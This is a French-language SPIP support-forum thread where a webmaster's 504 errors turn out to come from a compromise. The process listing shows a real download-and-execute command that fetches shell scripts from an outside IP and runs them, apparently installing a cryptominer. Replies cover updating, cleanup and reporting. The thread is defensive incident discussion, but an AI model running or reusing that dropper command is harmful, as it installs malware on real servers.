504 Gateway Time-out

Général
#1

D’où peut bien venir ces erreurs ?

« 2236491 zkan8855 20 0 10088 904 680 S 0,0 0,0 0:00.00 sh -c curl -k -o 1.sh http://94.156.69.214/1.sh;chmod 777 1.sh;bash 1.sh
2236509 zkan8855 20 0 10088 1820 1532 S 0,0 0,0 1:05.29 bash 1.sh
2404026 zkan8855 20 0 10088 956 732 S 0,0 0,0 0:00.00 sh -c curl -k -o 2.sh http://94.156.69.214/2.sh;chmod 777 2.sh;bash 2.sh
2404031 zkan8855 20 0 10088 1800 1508 S 0,0 0,0 1:00.02 bash 2.sh
2436065 zkan8855 20 0 10088 908 684 S 0,0 0,0 0:00.00 sh -c curl -k -o 2.sh http://94.156.69.214/2.sh;chmod 777 2.sh;bash 2.sh
2436068 zkan8855 20 0 10088 1812 1528 S 0,0 0,0 0:59.80 bash 2.sh »

Qui me donne une erreur « 504 Gateway Time-out »

Spip 4.3.2 PHP 8.0 site sur o2switch

Étiquettes par type d'erreur ?
#2

1.sh, 2.sh : c’est des fichiers déposés par un hackeur ?

Si SPIP n’était pas à jour, probabilité 99% !

#3

C’est exactement ça !
http://94.156.69.214/2.sh contient un script qui installe et fait tourner ce qui est probablement un mineur de bitcoins.

#4

… la charge active étant « x11 » qui contient au moins un troyen/mineur d’après virustotal.com

1 « J'aime »
#5

Que faire ?

Merci beaucoup

#6

Mettre à jour SPIP (4.2.16 ou 4.3.2).

Mettre l’écran de sécurité 1.6.3 (mesure d’urgence, mais pas suffisante ; il faut vraiment mettre à jour SPIP).

Nettoyer le site en profondeur pour s’assurer qu’il n’y a pas de fichiers laissés quelque part par le hackeur.

#7

J’étais pourtant en 4.3.2 et écran de sécurité 1.6.3 !

#8

Il est possible que l’entrée ait été faite auparavant sur une version précédente vulnérable… La mise à jour ne touche pas aux autres fichiers que ceux de SPIP. Puis elle a été exploitée ensuite.
Sinon il faut donner des détails et les envoyer à securite@spip.net

#9

Est-ce qu’il y a des fichiers suspects (1.sh, 2.sh, x11) ?

Parce que les logs de ton premier message, c’est peut-être juste des tentatives de les installer.

#10

Non. Aucun. Et j’ai refait une installation de spip. Le site est planté

#11

Je les avais récupéré sur le site… donc ils exist(ai)ent bien !

#12

Je ne crois pas que http://94.156.69.214/ soit le site de la victime, mais un site de distribution du payload.

#13

J’ai retrouvé les fichiers 1.sh, 2.sh et x11 sur un autre de mes sites. Supprimés.

Après installation propre spip 4.3.2, j’ai les messages suivants :

Warning: include_once(ecrire/inc_version.php): Failed to open stream: No such file or directory in /home/…/equipe-centre-lecture.com/spip.php on line 17

Warning: include_once(): Failed opening ‹ ecrire/inc_version.php › for inclusion (include_path=’.:/opt/alt/php80/usr/share/pear:/opt/alt/php80/usr/share/php:/usr/share/pear:/usr/share/php’) in /home/…/equipe-centre-lecture.com/spip.php on line 17

Warning: include(ecrire/public.php): Failed to open stream: No such file or directory in /home/…/equipe-centre-lecture.com/spip.php on line 20

Warning: include(): Failed opening ‹ ecrire/public.php › for inclusion (include_path=’.:/opt/alt/php80/usr/share/pear:/opt/alt/php80/usr/share/php:/usr/share/pear:/usr/share/php’) in /home/…/equipe-centre-lecture.com/spip.php on line 20

#14

On dirait d’après les erreurs qu’il manque le dossier ecrire/ (ou tout au moins, les fichiers qui devraient être dedans)

#15

Pourtant il est bien là avec les fichiers

#16

Ça peut être une question de droits alors.
Un chmod 755 -r . à la racine du site pourrait aider (755 est à vérifier, ça peut être autre chose selon l’hébergement)